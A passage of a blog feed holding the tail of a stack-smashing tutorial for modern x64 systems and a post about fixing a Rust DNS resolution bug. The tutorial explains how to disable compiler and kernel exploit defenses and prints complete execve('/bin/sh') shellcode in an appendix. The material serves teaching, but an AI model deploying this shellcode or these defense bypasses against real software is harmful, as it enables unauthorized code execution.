the return pointer with the address of your shell code, you would stick
the address of, say, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve&lt;/code&gt; from libc there instead. You’d then
manipulate the various values on the stack so that when the current
function returns to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve&lt;/code&gt; and it looks at the stack for its
arguments, it would see arguments like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/sh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;“Sadly”, in x64, the calling convention has changed a fair amount. In
x64, the &lt;a href=&quot;https://wiki.osdev.org/System_V_ABI#x86-64&quot;&gt;System V AMD64 ABI&lt;/a&gt; is used, wherein arguments are passed
mostly in registers (this is a good &lt;a href=&quot;https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64&quot;&gt;visual explanation&lt;/a&gt;). This breaks
traditional return-to-libc attacks since you can no longer change what
arguments the libc function would see simply by manipulating the stack
(which is all you can do with a buffer overflow). There &lt;em&gt;are&lt;/em&gt; ways to
get around this, for example by using the “&lt;a href=&quot;http://users.suse.com/~krahmer/no-nx.pdf&quot;&gt;borrowed code chunks&lt;/a&gt;”
technique, and the generalized idea of &lt;a href=&quot;https://en.wikipedia.org/wiki/Return-oriented_programming&quot;&gt;return-oriented programming&lt;/a&gt;,
but those attacks are far more difficult to pull off.&lt;/p&gt;

&lt;h1 id=&quot;finding-buffer-overflows&quot;&gt;Finding Buffer Overflows&lt;/h1&gt;

&lt;p&gt;Instead of repeating Aleph One’s words here, I’ll just direct you to the
“Finding Buffer Overflows” section of &lt;a href=&quot;http://phrack.org/issues/49/14.html#article&quot;&gt;Smashing the Stack for Fun and
Profit&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;disabling-modern-defenses&quot;&gt;Disabling Modern Defenses&lt;/h1&gt;

&lt;p&gt;When trying to do a buffer-overflow attack on a modern machine, there
are several defenses you’ll have to deal with:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Stack Canaries&lt;/strong&gt;: The compiler injects pieces of code into the
binary that puts a &lt;a href=&quot;https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries&quot;&gt;special value&lt;/a&gt; between the local variables of a
function and the next frame (and, crucially, before the return
address). Just before the function returns, it checks that the stack
canary still has the correct value, and only then does it issue the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction. This defeats the attack above, since we will
always overwrite the canary with gibberish in our attempt to get to
the return address! To disable stack canaries in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcc&lt;/code&gt;, pass
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-fno-stack-protector&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Address-Space Layout Randomization&lt;/strong&gt;: The mechanism is known as
ASLR, and roughly means that the kernel will randomize where in
memory your program is located when it starts. This usually includes
the instructions that make up the program code, the stack, the heap,
and the location of any dynamically linked libraries. With this
feature enabled, you can no longer (easily) figure out any of the
addresses you need, and so you don’t know what to overwrite the
return address with! You can tell the kernel to disable ASLR for a
given program by invoking it through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setarch -R&lt;/code&gt;. Older versions of
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setarch&lt;/code&gt; also require that you pass &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;$(uname -m)&quot;&lt;/code&gt; as the first
argument. Note that these solutions are &lt;em&gt;not&lt;/em&gt; sufficient:
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-no-pie&lt;/code&gt; alone doesn’t cut it, as dynamically linked libraries
are still randomized (if you care about return-to-libc).&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-static&lt;/code&gt; alone doesn’t cut it, as the address of the program
itself is still randomized.&lt;/li&gt;
      &lt;li&gt;with both, your stack and heap locations are still randomized.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;W^X&lt;/strong&gt;: Write XOR Execute is a pretty simple defense wherein all
memory in your process is &lt;em&gt;either&lt;/em&gt; writeable (like your stack) &lt;em&gt;or&lt;/em&gt;
executable (like the program code). When this feature is enabled,
which it is by default, a stack overflow like discussed above won’t
work since your shell code (which then lives on the stack) isn’t
marked as executable. When you try to return to it, the CPU will
simply refuse to continue. You can disable this feature using
&lt;a href=&quot;https://linux.die.net/man/8/execstack&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execstack&lt;/code&gt;&lt;/a&gt;, or in gcc by linking your program with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-z execstack&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Fortified Source&lt;/strong&gt;: By default, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcc&lt;/code&gt; enables &lt;a href=&quot;https://access.redhat.com/blogs/766093/posts/1976213&quot;&gt;source
fortification&lt;/a&gt;, which wraps functions that are known to be
problematic, like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcat&lt;/code&gt;, with security checks when
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcc&lt;/code&gt; can figure out the required bounds. When these checks are in
place, attempts to overflow a buffer may instead terminate your
program with&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;*** buffer overflow detected ***: ./vulnerable terminated
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;To work around this, just pass &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-D_FORTIFY_SOURCE=0&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It may seem like cheating to turn these off, and in some sense it is,
but it is helpful when trying to teach the underlying ideas behind stack
smashing. And in fact, it is often possible to &lt;a href=&quot;https://lobste.rs/s/up2x39/smashing_stack_21st_century#c_v5hama&quot;&gt;work around these
defenses&lt;/a&gt; with more advanced attacks, though those are far beyond the
scope of this document.&lt;/p&gt;

&lt;h1 id=&quot;appendix-a-64-bit-execve-shell-code&quot;&gt;Appendix A: 64-bit execve shell code&lt;/h1&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;#include &amp;lt;sys/syscall.h&amp;gt;

#define STRING  &quot;/bin/sh&quot;
#define STRLEN  7
#define ARGV    (STRLEN+1)
#define ENVP    (ARGV+8)

.globl main
        .type   main, @function

 main:
        jmp     calladdr

 popladdr:
        popq    %rcx
        movq    %rcx,(ARGV)(%rcx)       /* set up argv pointer to pathname */
        xorq    %rax,%rax               /* get a 64-bit zero value */
        movb    %al,(STRLEN)(%rcx)      /* null-terminate our string */
        movq    %rax,(ENVP)(%rcx)       /* set up null envp */

        movb    $SYS_execve,%al         /* syscall arg 1: syscall number */
        movq    %rcx,%rdi               /* syscall arg 2: string pathname */
        leaq    ARGV(%rcx),%rsi         /* syscall arg 2: argv */
        leaq    ENVP(%rcx),%rdx         /* syscall arg 3: envp */
        syscall                 /* invoke syscall */

        movb    $SYS_exit,%al          /* syscall arg 1: SYS_exit (60) */
        xorq    %rdi,%rdi               /* syscall arg 2: 0 */
        syscall                 /* invoke syscall */

 calladdr:
        call    popladdr
        .ascii  STRING
&lt;/code&gt;&lt;/pre&gt;

</description>
        <pubDate>Wed, 30 Jan 2019 11:14:53 +0000</pubDate>
	<link>https://thesquareplanet.com/blog/smashing-the-stack-21st-century/</link>
	<guid isPermaLink="true">https://thesquareplanet.com/blog/smashing-the-stack-21st-century/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>The Story of a Rust Bug</title>
        <description>&lt;p&gt;A while ago, I built a system-tray application in Rust to notify me of
new e-mail called &lt;a href=&quot;https://github.com/jonhoo/buzz&quot;&gt;buzz&lt;/a&gt;. It was working
fine, but every now and again, it would fail to connect to the mail
server on boot if it started before my network connection was up. Sounds
easy enough to fix, so I just &lt;a href=&quot;https://github.com/jonhoo/buzz/commit/90b1602ad1c2d6a1c3836efb2dfe11d8157c2255#diff-639fbc4ef05b315af92b4d836c31b023R131&quot;&gt;added a loop&lt;/a&gt; around my connect
(even made it have exponential backoff!) and considered the issue dealt
with.&lt;/p&gt;

&lt;p&gt;Fast forward a few days, and the same issue happens again. I boot my
computer, buzz starts before my network is ready, and while it now
continues trying to connect for a while, each attempt fails with the
same error: “Name or service not known”. Hmm… I kill buzz and restart
it, and lo and behold it connects immediately without issue. What
sorcery is this?&lt;/p&gt;

&lt;p&gt;It’s time to do some debugging. First, let’s write a sample program:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Duration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TcpStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;loop&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;TcpStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;google.com:80&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;connected&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;nf&quot;&gt;Err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;failed: {:?}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Duration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_secs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running it prints “connected” — great. Now, let’s disconnect the
internet and run it again — it prints&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;failed: Name or service not known&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;over and over again. Okay, still as expected. Now let’s turn the
internet back on&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;failed: Name or service not known&lt;br /&gt;
failed: Name or service not known&lt;br /&gt;
failed: Name or service not known&lt;br /&gt;
failed: Name or service not known&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Something is definitely fishy. So, let’s ask Google:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;linux c connect before interface comes up and then retry&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;No particularly promising results there…&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;linux c connect before interface comes up and then retry Name or service not known&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Still unhelpful.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;linux internet connectivity retry connection failed&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This takes us to a somewhat promising Thunderbird issue named
“&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=656072&quot;&gt;Thunderbird “Failed to connect to server” after connecting to
Internet&lt;/a&gt;”, but it fails to reach any helpful conclusions. But we
shall not surrender!&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“Name or service not known” after interface comes up&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ooooh, “&lt;a href=&quot;https://developer.pidgin.im/ticket/2825&quot;&gt;#2825 (Pidgin cannot reconnect after changing
networks)&lt;/a&gt;” looks promising. Among the comments:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;This is an issue when NetworkManager isn’t around. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt; (rereads
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/resolv.conf&lt;/code&gt;) is only called in the NM path.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/resolv.conf&lt;/code&gt; is where Linux keeps track of the DNS nameservers to
use when looking up the IP addresses of domain names. Depending on your
network configuration, that file is &lt;em&gt;empty&lt;/em&gt; when you are offline, and
then entries are filled in when you connect to a network. The comment
suggests that the contents of this file is &lt;em&gt;cached&lt;/em&gt;, which would mean
our program never learns of any nameservers (it always see the empty
list), and so all DNS resolution fails for all eternity!&lt;/p&gt;

&lt;p&gt;Armed with the knowledge about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt;, our Google searches are
suddenly a lot more helpful, and reveal that this problem is actually
something many projects &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=214538&quot;&gt;have&lt;/a&gt; &lt;a href=&quot;https://jira.mongodb.org/browse/DOCS-5700&quot;&gt;encountered&lt;/a&gt;. Let’s see
what Rust does, why our program doesn’t work, and how we might fix it.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://doc.rust-lang.org/std/net/struct.TcpStream.html#method.connect&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TcpStream::connect&lt;/code&gt;&lt;/a&gt; takes an argument that implements
&lt;a href=&quot;https://doc.rust-lang.org/std/net/trait.ToSocketAddrs.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ToSocketAddrs&lt;/code&gt;&lt;/a&gt;. “Implementors” at the bottom of that page shows that
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ToSocketAddrs&lt;/code&gt; is implemented for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;str&lt;/code&gt;, which makes a lot of sense
given that we’re passing in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;str&lt;/code&gt; to it in our code above. Let’s click
the &lt;a href=&quot;https://doc.rust-lang.org/src/std/net/addr.rs.html#619-638&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt;&lt;/a&gt; link at the top right of the page to see what it’s doing
to turn that string into an IP address!&lt;/p&gt;

&lt;p&gt;Scrolling down &lt;a href=&quot;https://doc.rust-lang.org/src/std/net/addr.rs.html#722-747&quot;&gt;a little&lt;/a&gt;, we see that it calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;resolve_socket_addr&lt;/code&gt;,
which is defined a bit &lt;a href=&quot;https://doc.rust-lang.org/src/std/net/addr.rs.html#694&quot;&gt;further up&lt;/a&gt;. It again calls &lt;a href=&quot;https://doc.rust-lang.org/std/net/fn.lookup_host.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lookup_host&lt;/code&gt;&lt;/a&gt;,
which seems to just be a stub of some sort:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys_common&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;net&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;net_imp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;lookup_host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LookupHost&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nn&quot;&gt;net_imp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;lookup_host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LookupHost&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s not very helpful. It’s time we go explore the rust &lt;a href=&quot;https://github.com/rust-lang/rust&quot;&gt;GitHub
repository&lt;/a&gt;. There’s a &lt;em&gt;lot&lt;/em&gt; of stuff here, but let’s just try to
take the fast path to what we’re looking for. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;use sys_common::net&lt;/code&gt;
gives us a starting point: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;use&lt;/code&gt; statements like these inside the
standard library are using other modules from the standard library,
which lives in &lt;a href=&quot;https://github.com/rust-lang/rust/tree/master/src/libstd&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/libstd&lt;/code&gt;&lt;/a&gt;. And how about that, right there there’s a
little &lt;a href=&quot;https://github.com/rust-lang/rust/tree/master/src/libstd/sys_common&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sys_common&lt;/code&gt;&lt;/a&gt; subdirectory. Let’s open that up. And then we want
&lt;a href=&quot;https://github.com/rust-lang/rust/blob/4961d724f8d02870087c1912a55378458b0d6a90/src/libstd/sys_common/net.rs#L164-L184&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net.rs&lt;/code&gt;&lt;/a&gt;, because that’s the module the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lookup_host&lt;/code&gt; function was
using.&lt;/p&gt;

&lt;p&gt;(At this point, it’s worth noting that I’ve cheated a little. Since my
fix for this bug has now landed, if you actually follow the path on
GitHub, you’ll see &lt;a href=&quot;https://github.com/rust-lang/rust/blob/bb8d51c2ebe8d89c9cdcf06a9383d6e974efc5b6/src/libstd/sys_common/net.rs#L164-L197&quot;&gt;the new version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net.rs&lt;/code&gt;&lt;/a&gt;. If you want to
see what I saw, click the linked &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net.rs&lt;/code&gt; above instead.)&lt;/p&gt;

&lt;p&gt;So, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lookup_host&lt;/code&gt; calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c::getaddrinfo&lt;/code&gt;, and then returns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ok&lt;/code&gt;. There’s
a call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cvt_gai&lt;/code&gt; in there suffixed with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?&lt;/code&gt;, which I assume deals
with the case where the lookup fails, but let’s ignore that for a
second. There’s no call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt; here. This means that unless the
application calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt; itself, it will simply never get to use the
internet. That’s pretty sad. Let’s fix that!&lt;/p&gt;

&lt;p&gt;The most straightforward fix is to just call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt; directly from
our application if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;connect&lt;/code&gt; fails. But, in order to do that, we, well,
need to be able to call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt;. &lt;a href=&quot;https://linux.die.net/man/3/res_init&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt;&lt;/a&gt; is a function in libc
(at least on UNIX-like systems), so the place to look would be the Rust
&lt;a href=&quot;https://github.com/rust-lang/libc&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; crate&lt;/a&gt;. If you look today, there &lt;em&gt;is&lt;/em&gt; a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt; function in
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt;, but this was &lt;em&gt;not&lt;/em&gt; the case when I looked. So, time to file a
pull request!&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; README clearly states the process for &lt;a href=&quot;https://github.com/rust-lang/libc#adding-an-api&quot;&gt;adding an API&lt;/a&gt;, and it
basically comes down to “add a function to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/unix/mod.rs&lt;/code&gt;, submit,
and then fix failing tests”. It turns out that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt; is actually
somewhat funky as far as libc functions go, so it took quite a bit of
digging to get it right on all the UNIX-y platforms that libc supports.
But with the aid of the amazing &lt;a href=&quot;https://github.com/alexcrichton&quot;&gt;Alex Crichton&lt;/a&gt;, green checkmarks
eventually started appearing, and &lt;a href=&quot;https://github.com/rust-lang/libc/pull/585&quot;&gt;PR#585&lt;/a&gt; landed (if you want to know
what the process is like, I encourage you to read through the comments
there).&lt;/p&gt;

&lt;p&gt;Okay, so we now have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc::res_init&lt;/code&gt;, which means we can fix our
application by adding a dependency on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; and calling the function
manually after each failed connection attempt. While this would work, it
doesn’t feel particularly elegant. And what about other people who will
inevitably also run into the same issue? No, we can to better. Time to
fix Rust!&lt;/p&gt;

&lt;p&gt;First, I filed &lt;a href=&quot;https://github.com/rust-lang/rust/issues/41570&quot;&gt;#41570&lt;/a&gt;, an issue outlining the issue, giving much of
the same reasoning and examples that I’ve given in this post. I actually
did that &lt;em&gt;before&lt;/em&gt; my libc PR, but that’s sort of beside the point. I
then asked for opinions about what the best place to implement the fix
would be, suggesting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lookup_host&lt;/code&gt; function we found above. Alex
Crichton responded (again!), and &lt;a href=&quot;https://github.com/rust-lang/rust/pull/41582&quot;&gt;PR#41582&lt;/a&gt; was born. I’ll spare you
some of the details (read the comments if you want them), but two
primary changes were needed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We had to update the version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; that rust includes, so that we
have access to the newly added &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt;. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; is linked into rust
as a &lt;a href=&quot;https://git-scm.com/book/en/v2/Git-Tools-Submodules&quot;&gt;git submodule&lt;/a&gt;, so that was just a matter of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd&lt;/code&gt;-ing into the
right directory and running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git pull&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;We then had to &lt;a href=&quot;https://github.com/rust-lang/rust/pull/41582/files#diff-2&quot;&gt;modify &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lookup_host&lt;/code&gt;&lt;/a&gt; so that, if it fails to do
a lookup, and we’re running a UNIX-y OS, we call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res_init&lt;/code&gt; before
returning.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It took a few iterations to get the kinks ironed out, and all os targets
to be happy, but on May 5th at 5:35pm, the &lt;a href=&quot;https://buildbot2.rust-lang.org/homu/queue/all&quot;&gt;Rust build system&lt;/a&gt;
accepted and merged my PR! A few hours later, at midnight UTC, a new
nightly release of Rust was published, which included my fix. After a
quick &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rustup update&lt;/code&gt; and a recompile, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buzz&lt;/code&gt; now works correctly
without any changes to the code! Yay progress!&lt;/p&gt;

&lt;p&gt;Hopefully this post has given some insight into what is involved in
making a contribution to the Rust standard library, and may give you
some pointers to what you might do if you find something &lt;em&gt;you&lt;/em&gt; would
like to fix in Rust! It doesn’t even have to involve coding — the Rust
